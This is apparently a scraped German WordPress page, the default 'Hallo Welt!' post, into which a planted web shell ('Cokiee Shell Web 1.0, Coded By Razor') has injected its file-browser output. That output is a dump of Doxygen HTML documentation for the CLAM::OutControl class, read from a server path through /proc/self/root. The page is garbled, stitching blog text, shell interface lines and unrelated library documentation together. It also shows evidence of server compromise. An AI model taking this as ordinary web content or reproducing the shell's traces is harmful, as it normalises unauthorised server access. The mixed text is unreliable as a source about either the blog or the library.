Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /proc/self/root/usr/share/doc/libclam-doc/html/ |
Current File : //proc/self/root/usr/share/doc/libclam-doc/html/classCLAM_1_1OutControl.html |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>CLAM-Development: CLAM::OutControl< ControlDataType > Class Template Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">CLAM-Development  <span id="projectnumber">1.4.0</span> </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.1 --> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main Page</span></a></li> <li><a href="pages.html"><span>Related Pages</span></a></li> <li><a href="modules.html"><span>Modules</span></a></li> <li><a href="namespaces.html"><span>Namespaces</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class List</span></a></li> <li><a href="classes.html"><span>Class Index</span></a></li> <li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li> <li><a href="functions.html"><span>Class Members</span></a></li> </ul> </div> <div id="nav-path" class="navpath"> <ul> <li class="navelem"><a class="el" href="namespaceCLAM.html">CLAM</a></li><li class="navelem"><a class="el" href="classCLAM_1_1OutControl.html">OutControl</a></li> </ul> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#pub-methods">Public Member Functions</a> </div> <div class="headertitle"> <div class="title">CLAM::OutControl< ControlDataType > Class Template Reference</div> </div> </div><!--header--> <div class="contents"> <p><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> typed out control template class. <a href="classCLAM_1_1OutControl.html#details">More...</a></p> <p><code>#include <<a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>></code></p> <p><a href="classCLAM_1_1OutControl-members.html">List of all members.</a></p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:a06e1b0c649f51155411d6118e3185ae8"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControl.html#a06e1b0c649f51155411d6118e3185ae8">OutControl</a> (const std::string &name="unnamed typed in control", Processing *proc=0)</td></tr> <tr class="memitem:a1c83a6d750f7b4abc4e0e030b59f83d7"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControl.html#a1c83a6d750f7b4abc4e0e030b59f83d7">SendControl</a> (const ControlDataType &val)</td></tr> <tr class="memitem:a469e9ab5fbe4334b80852c99d2e74241"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControl.html#a469e9ab5fbe4334b80852c99d2e74241">IsLinkable</a> (const <a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> &in)</td></tr> <tr class="memdesc:a469e9ab5fbe4334b80852c99d2e74241"><td class="mdescLeft"> </td><td class="mdescRight">Returns whether the control can be connected to the provided in control. <a href="#a469e9ab5fbe4334b80852c99d2e74241"></a><br/></td></tr> <tr class="memitem:acdaaa4ac155836d4d60b092a548f8a60"><td class="memItemLeft" align="right" valign="top">virtual const std::type_info & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControl.html#acdaaa4ac155836d4d60b092a548f8a60">GetTypeId</a> () const </td></tr> <tr class="inherit_header pub_methods_classCLAM_1_1OutControlBase"><td colspan="2" onclick="javascript:toggleInherit('pub_methods_classCLAM_1_1OutControlBase')"><img src="closed.png" alt="-"/> Public Member Functions inherited from <a class="el" href="classCLAM_1_1OutControlBase.html">CLAM::OutControlBase</a></td></tr> <tr class="memitem:a08969bf7e15ac405bb5ad13a8fbdc407 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a08969bf7e15ac405bb5ad13a8fbdc407">OutControlBase</a> (const std::string &name, <a class="el" href="classCLAM_1_1Processing.html">Processing</a> *proc=0)</td></tr> <tr class="memdesc:a08969bf7e15ac405bb5ad13a8fbdc407 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Class constructor. <a href="#a08969bf7e15ac405bb5ad13a8fbdc407"></a><br/></td></tr> <tr class="memitem:a73975793a97433ed3e7b6b1a91bb3a45 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">virtual </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a73975793a97433ed3e7b6b1a91bb3a45">~OutControlBase</a> ()</td></tr> <tr class="memdesc:a73975793a97433ed3e7b6b1a91bb3a45 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Class destructor. <a href="#a73975793a97433ed3e7b6b1a91bb3a45"></a><br/></td></tr> <tr class="memitem:ad621f475e2dd4a23cf5128ccc13f419d inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">const std::string & </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#ad621f475e2dd4a23cf5128ccc13f419d">GetName</a> () const </td></tr> <tr class="memitem:ab6be9eb582d658bc32578753cc5e9ed3 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1Processing.html">Processing</a> * </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#ab6be9eb582d658bc32578753cc5e9ed3">GetProcessing</a> () const </td></tr> <tr class="memitem:acded52a76c83272ab87cc1325d264487 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#acded52a76c83272ab87cc1325d264487">IsConnected</a> ()</td></tr> <tr class="memitem:a7002a5f6d7769070667761463625b9a6 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a7002a5f6d7769070667761463625b9a6">IsConnectedTo</a> (<a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> &in)</td></tr> <tr class="memitem:adf895037e454817032ea53a668597bf5 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#adf895037e454817032ea53a668597bf5">AddLink</a> (<a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> &in)</td></tr> <tr class="memdesc:adf895037e454817032ea53a668597bf5 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Set a connection with an in control. <a href="#adf895037e454817032ea53a668597bf5"></a><br/></td></tr> <tr class="memitem:a01053a2e4e1fa96733e21ada58cca0b5 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">void </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a01053a2e4e1fa96733e21ada58cca0b5">RemoveLink</a> (<a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> &in)</td></tr> <tr class="memdesc:a01053a2e4e1fa96733e21ada58cca0b5 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Unsets an existing link with the provided in control. <a href="#a01053a2e4e1fa96733e21ada58cca0b5"></a><br/></td></tr> <tr class="memitem:ad048fefaee5fdb12ad3481efbd6be57f inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">Peers::iterator </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#ad048fefaee5fdb12ad3481efbd6be57f">BeginInControlsConnected</a> ()</td></tr> <tr class="memitem:a128bf34981a2943ef3ee5626e007f388 inherit pub_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">Peers::iterator </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a128bf34981a2943ef3ee5626e007f388">EndInControlsConnected</a> ()</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2><a name="inherited"></a> Additional Inherited Members</h2></td></tr> <tr class="inherit_header pro_types_classCLAM_1_1OutControlBase"><td colspan="2" onclick="javascript:toggleInherit('pro_types_classCLAM_1_1OutControlBase')"><img src="closed.png" alt="-"/> Protected Types inherited from <a class="el" href="classCLAM_1_1OutControlBase.html">CLAM::OutControlBase</a></td></tr> <tr class="memitem:a28c3979d8be2fffd6bc0abdcd3129ca6 inherit pro_types_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top">typedef std::list<br class="typebreak"/> < <a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> * > </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#a28c3979d8be2fffd6bc0abdcd3129ca6">Peers</a></td></tr> <tr class="inherit_header pro_methods_classCLAM_1_1OutControlBase"><td colspan="2" onclick="javascript:toggleInherit('pro_methods_classCLAM_1_1OutControlBase')"><img src="closed.png" alt="-"/> Protected Member Functions inherited from <a class="el" href="classCLAM_1_1OutControlBase.html">CLAM::OutControlBase</a></td></tr> <tr class="memitem:aac96c80b45f9e3f9b2c72e935ff622cc inherit pro_methods_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#aac96c80b45f9e3f9b2c72e935ff622cc">OutControlBase</a> (const <a class="el" href="classCLAM_1_1OutControlBase.html">OutControlBase</a> &toBeCopied)</td></tr> <tr class="memdesc:aac96c80b45f9e3f9b2c72e935ff622cc inherit pro_methods_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Private copy constructor to avoid copies. <a href="#aac96c80b45f9e3f9b2c72e935ff622cc"></a><br/></td></tr> <tr class="inherit_header pro_attribs_classCLAM_1_1OutControlBase"><td colspan="2" onclick="javascript:toggleInherit('pro_attribs_classCLAM_1_1OutControlBase')"><img src="closed.png" alt="-"/> Protected Attributes inherited from <a class="el" href="classCLAM_1_1OutControlBase.html">CLAM::OutControlBase</a></td></tr> <tr class="memitem:aad014f9306f4c85a38955ffbdbae5ee7 inherit pro_attribs_classCLAM_1_1OutControlBase"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classCLAM_1_1OutControlBase.html#a28c3979d8be2fffd6bc0abdcd3129ca6">Peers</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="classCLAM_1_1OutControlBase.html#aad014f9306f4c85a38955ffbdbae5ee7">mLinks</a></td></tr> <tr class="memdesc:aad014f9306f4c85a38955ffbdbae5ee7 inherit pro_attribs_classCLAM_1_1OutControlBase"><td class="mdescLeft"> </td><td class="mdescRight">Stores the pointers to the connected incontrols. <a href="#aad014f9306f4c85a38955ffbdbae5ee7"></a><br/></td></tr> </table> <hr/><a name="details" id="details"></a><h2>Detailed Description</h2> <div class="textblock"><h3>template<class ControlDataType><br/> class CLAM::OutControl< ControlDataType ></h3> <p><a class="el" href="classCLAM_1_1Processing.html" title="The base class for all the CLAM processing object classes.">Processing</a> typed out control template class. </p> <p>Definition at line <a class="el" href="OutControl_8hxx_source.html#l00040">40</a> of file <a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>.</p> </div><hr/><h2>Constructor & Destructor Documentation</h2> <a class="anchor" id="a06e1b0c649f51155411d6118e3185ae8"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType > </div> <table class="memname"> <tr> <td class="memname"><a class="el" href="classCLAM_1_1OutControl.html">CLAM::OutControl</a>< ControlDataType >::<a class="el" href="classCLAM_1_1OutControl.html">OutControl</a> </td> <td>(</td> <td class="paramtype">const std::string & </td> <td class="paramname"><em>name</em> = <code>"unnamed typed in control"</code>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype"><a class="el" href="classCLAM_1_1Processing.html">Processing</a> * </td> <td class="paramname"><em>proc</em> = <code>0</code> </td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="OutControl_8hxx_source.html#l00059">59</a> of file <a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>.</p> </div> </div> <hr/><h2>Member Function Documentation</h2> <a class="anchor" id="acdaaa4ac155836d4d60b092a548f8a60"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">virtual const std::type_info& <a class="el" href="classCLAM_1_1OutControl.html">CLAM::OutControl</a>< ControlDataType >::GetTypeId </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">inline</span><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Implements <a class="el" href="classCLAM_1_1OutControlBase.html#ac819765db11fdc29027f67ee474672e0">CLAM::OutControlBase</a>.</p> <p>Definition at line <a class="el" href="OutControl_8hxx_source.html#l00052">52</a> of file <a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>.</p> </div> </div> <a class="anchor" id="a469e9ab5fbe4334b80852c99d2e74241"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType > </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool <a class="el" href="classCLAM_1_1OutControl.html">CLAM::OutControl</a>< ControlDataType >::IsLinkable </td> <td>(</td> <td class="paramtype">const <a class="el" href="classCLAM_1_1InControlBase.html">InControlBase</a> & </td> <td class="paramname"><em>in</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">virtual</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns whether the control can be connected to the provided in control. </p> <pre class="fragment"> Concrete in controls redefine this function to provide or extend the set of conditions to be linkable. </pre> <dl class="todo"><dt><b><a class="el" href="todo.html#_todo000018">Todo:</a></b></dt><dd>move here a base implementation by checking the typeid. </dd></dl> <p>Implements <a class="el" href="classCLAM_1_1OutControlBase.html#a60c0936d428949dc636b6754997c043e">CLAM::OutControlBase</a>.</p> <p>Definition at line <a class="el" href="OutControl_8hxx_source.html#l00077">77</a> of file <a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>.</p> <p>References <a class="el" href="classCLAM_1_1InControlBase.html#a9068e7fa487e9a3994ff1f26f8eafe97">CLAM::InControlBase::GetTypeId()</a>.</p> <p>Referenced by <a class="el" href="Processing_8cxx_source.html#l00106">CLAM::SendFloatToInControl()</a>.</p> </div> </div> <a class="anchor" id="a1c83a6d750f7b4abc4e0e030b59f83d7"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template<class ControlDataType> </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classCLAM_1_1OutControl.html">CLAM::OutControl</a>< ControlDataType >::SendControl </td> <td>(</td> <td class="paramtype">const ControlDataType & </td> <td class="paramname"><em>val</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Definition at line <a class="el" href="OutControl_8hxx_source.html#l00065">65</a> of file <a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a>.</p> <p>References <a class="el" href="InControl_8hxx_source.html#l00100">CLAM::InControl< ControlDataType >::DoControl()</a>.</p> <p>Referenced by <a class="el" href="Normalization_8cxx_source.html#l00172">CLAM::Normalization::ComputeScaleFactorFromAvgEnergy()</a>, <a class="el" href="Normalization_8cxx_source.html#l00216">CLAM::Normalization::ComputeScaleFactorFromDominantEnergy()</a>, <a class="el" href="Normalization_8cxx_source.html#l00129">CLAM::Normalization::ComputeScaleFactorFromMaxEnergy()</a>, <a class="el" href="AudioFileMemoryLoader_8cxx_source.html#l00068">CLAM::AudioFileMemoryLoader::ConcreteConfigure()</a>, <a class="el" href="AudioFileMemoryLoader_8cxx_source.html#l00092">CLAM::AudioFileMemoryLoader::ConcreteStart()</a>, <a class="el" href="FlagControl_8cxx_source.html#l00045">CLAM::FlagControl::Do()</a>, <a class="el" href="MonoAudioFileReader_8cxx_source.html#l00135">CLAM::MonoAudioFileReader::Do()</a>, <a class="el" href="AudioFileMemoryLoader_8cxx_source.html#l00107">CLAM::AudioFileMemoryLoader::Do()</a>, <a class="el" href="MultiChannelAudioFileReader_8cxx_source.html#l00080">CLAM::MultiChannelAudioFileReader::Do()</a>, <a class="el" href="MIDIKeyboard_8cxx_source.html#l00088">CLAM::MIDIKeyboard::Do()</a>, <a class="el" href="AutoPanner_8cxx_source.html#l00071">CLAM::AutoPanner::Do()</a>, <a class="el" href="ControlFade_8cxx_source.html#l00071">CLAM::ControlFade::Do()</a>, <a class="el" href="Fund2MIDI_8cxx_source.html#l00036">CLAM::Fund2MIDI::Do()</a>, <a class="el" href="FundFreqDetect_8cxx_source.html#l00109">CLAM::FundFreqDetect::Do()</a>, <a class="el" href="ControlSource_8cxx_source.html#l00040">CLAM::ControlSource::Do()</a>, <a class="el" href="Fundamental2Control_8cxx_source.html#l00017">CLAM::Fundamental2Control::Do()</a>, <a class="el" href="OutControlSender_8cxx_source.html#l00079">CLAM::OutControlSender::Do()</a>, <a class="el" href="BinaryControlOp_8hxx_source.html#l00104">CLAM::BinaryControlOp< BinOp >::Do()</a>, <a class="el" href="ControlPiano_8hxx_source.html#l00064">CLAM::ControlPiano::DoCallback()</a>, <a class="el" href="ControlMapper_8hxx_source.html#l00062">CLAM::ControlMapper::DoMap()</a>, <a class="el" href="ControlSelector_8cxx_source.html#l00086">CLAM::ControlSelector::InControlCallback()</a>, <a class="el" href="OutControlSender_8cxx_source.html#l00091">CLAM::OutControlSender::SendControl()</a>, <a class="el" href="Processing_8cxx_source.html#l00106">CLAM::SendFloatToInControl()</a>, <a class="el" href="Processing_8cxx_source.html#l00122">CLAM::SendFloatToOutControl()</a>, <a class="el" href="ControlPiano_8hxx_source.html#l00086">CLAM::ControlPiano::SendMIDIMessage()</a>, <a class="el" href="Instrument_8hxx_source.html#l00089">CLAM::Instrument::UpdateNote()</a>, <a class="el" href="Instrument_8hxx_source.html#l00078">CLAM::Instrument::UpdateState()</a>, <a class="el" href="ADSR_8hxx_source.html#l00091">CLAM::ADSR::UpdateState()</a>, and <a class="el" href="Instrument_8hxx_source.html#l00094">CLAM::Instrument::UpdateVel()</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="OutControl_8hxx_source.html">OutControl.hxx</a></li> </ul> </div><!-- contents --> <!-- start footer part --> <hr class="footer"/><address class="footer"><small> Generated by  <a href="http://www.doxygen.org/index.html"> <img class="footer" src="doxygen.png" alt="doxygen"/> </a> 1.8.1 </small></address> </body> </html>
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare